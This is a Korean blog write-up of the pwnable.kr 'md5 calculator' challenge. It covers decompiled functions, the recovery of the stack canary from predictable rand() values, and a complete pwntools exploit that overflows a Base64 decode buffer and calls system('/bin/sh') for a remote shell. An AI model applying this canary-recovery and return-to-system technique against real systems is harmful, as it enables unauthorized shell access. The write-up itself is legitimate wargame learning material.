블로그 이전했습니다. https://jeongzero.oopy.io/
[pwnable.kr] md5 calculator
본문 바로가기
워게임/pwnable.kr

[pwnable.kr] md5 calculator

728x90

1. 문제


1) mitigation 확인

PIE가 안걸려있다.

2) 문제 확인

처음에 captcha를 입력하면, base64로 인코딩된 데이터를 입력하라고 한다. 그리고 md5 해시값을 준다.

3) 코드흐름 파악

unsigned int my_hash()
{
  signed int i; // [esp+0h] [ebp-38h]
  int v2[8]; // [esp+Ch] [ebp-2Ch]
  unsigned int canary; // [esp+2Ch] [ebp-Ch]

  canary = __readgsdword(0x14u);
  for ( i = 0; i <= 7; ++i )
    v2[i] = rand();
  return v2[4] - v2[6] + v2[7] + canary + v2[2] - v2[3] + v2[1] + v2[5];
}

처음 captcha 값은 srand(time(0)) 으로 랜덤화된 rand() 값을 총 8번 돌린후, 연산들 통해 계산된 값이다. 이를 통해 역연산을 하고, 카나리 값을 유추할수 있다.

unsigned int process_hash()
{
  signed int size; // ST14_4
  char *ptr; // ST18_4
  char buf[512]; // [esp+1Ch] [ebp-20Ch]
  unsigned int v4; // [esp+21Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  memset(buf, 0, sizeof(buf));
  while ( getchar() != '\n' )
    ;
  memset(encode_buf, 0, sizeof(encode_buf));
  fgets(encode_buf, 0x400, stdin);
  memset(buf, 0, sizeof(buf));
  size = Base64Decode(encode_buf, (int)buf);
  ptr = calc_md5((int)buf, size);
  printf("MD5(data) : %s\n", ptr);
  free(ptr);
  return __readgsdword(0x14u) ^ v4;
}

encode_buf는 bss영역에 존재하는 0x400 사이즈 배열이다. 최대 0x400 입력하면 encode_buf에 들어가고, 0x200 사이즈 크기인 buf 배열과 함께 Base64Decode 함수를 호출한다. 해당 함수에서 디코딩이 진행된다.

int __cdecl Base64Decode(const char *g_buf, int buf)
{
  signed int v2; // ST2C_4
  FILE *stream; // ST34_4
  int v4; // eax
  int v5; // ST38_4
  int v6; // eax
  int v7; // ST3C_4

  v2 = calcDecodeLength(g_buf);
  stream = (FILE *)fmemopen((int)g_buf, strlen(g_buf), (int)&unk_8049272);
  v4 = BIO_f_base64();
  v5 = BIO_new(v4);
  v6 = BIO_new_fp(stream, 0);
  v7 = BIO_push(v5, v6);
  BIO_set_flags(v7, 0x100);
  *(_BYTE *)(buf + BIO_read(v7, buf, strlen(g_buf))) = 0;
  BIO_free_all(v7);
  fclose(stream);
  return v2;
}

Base64Decode 함수를 보면 BIO_read() 함수를 통해 실제 디코딩 된 데이터가 buf에 들어가게된다. 헌데 g_buf , 즉 encode_buf사이는 0x400인데 이걸 buf에 넣게 되고 여기서 bof가 발생한다.

2. 접근방법


bof가 가능하고 카나리를 뽑을수 있다. 시스템 함수 plt도 알고 있으니, bss에 /bin/sh 넣고, 리턴값에 시스템 함수를 넣으면 끝이다.

3. 풀이


from pwn import *
from ctypes import *
from ctypes.util import find_library 

import base64
context(log_level='DEBUG')
#p=process('./hash')
p=remote('pwnable.kr',9002)
#gdb.attach(p)

libc = CDLL(find_library('c'))
libc.srand(libc.time(0))
v2 = [ libc.rand() for i in range(8)]

log.info(v2)



p.recvuntil('captcha : ')
s=int(p.recvuntil('\n')[:-1])

canary=(s-v2[1]-v2[2]+v2[3]-v2[4]-v2[5]+v2[6]-v2[7])&0xffffffff
log.info(hex(canary))

p.sendline(str(s))

p.recvuntil('me!\n')
payload='A'*0x200
payload+=p32(canary)
payload+=p32(0x41)*3
payload+=p32(0x8048880)
payload+=p32(0)
payload+=p32(0x804b3b0)
encoded_text = base64.encodestring(payload).replace('\n','')+"/bin/sh\x00"
pause()
p.sendline(encoded_text)

p.interactive()

4. 몰랐던 개념


요건 결국 롸업을 봐버렸다. 어케하다가 카나리가 덮혀서 bof가 가능할꺼같았는데 결국 못풀고...

우선 해당문제를 통해 libc = CDLL(find_library('c')) 요렇게도 c 라이브러리 이용할수 있다는걸 알았고, 중간에 삽질한건 fgets로 0x400 정도 데이터를 넣었는데 자꾸 0x4d? 정도까지밖에 데이터가 안들어가서 뭐지뭐지 했는데 보니까 중간중간 개행이 들어가 있었다 ;;

분석좀 잘하자. my_hash() 함수는 그냥 볼필요 없을줄알았던 나의 착오가 너무 컸다 츠발

참고한 글

728x90

'워게임 > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] fix  (0) 2020.10.04
[pwnable.kr] dragon  (0) 2020.10.04
[pwnable.kr] brainfuck  (0) 2020.09.23
[pwnble.kr] leg  (0) 2020.09.06
[pwnable.kr] shellshock  (0) 2020.09.06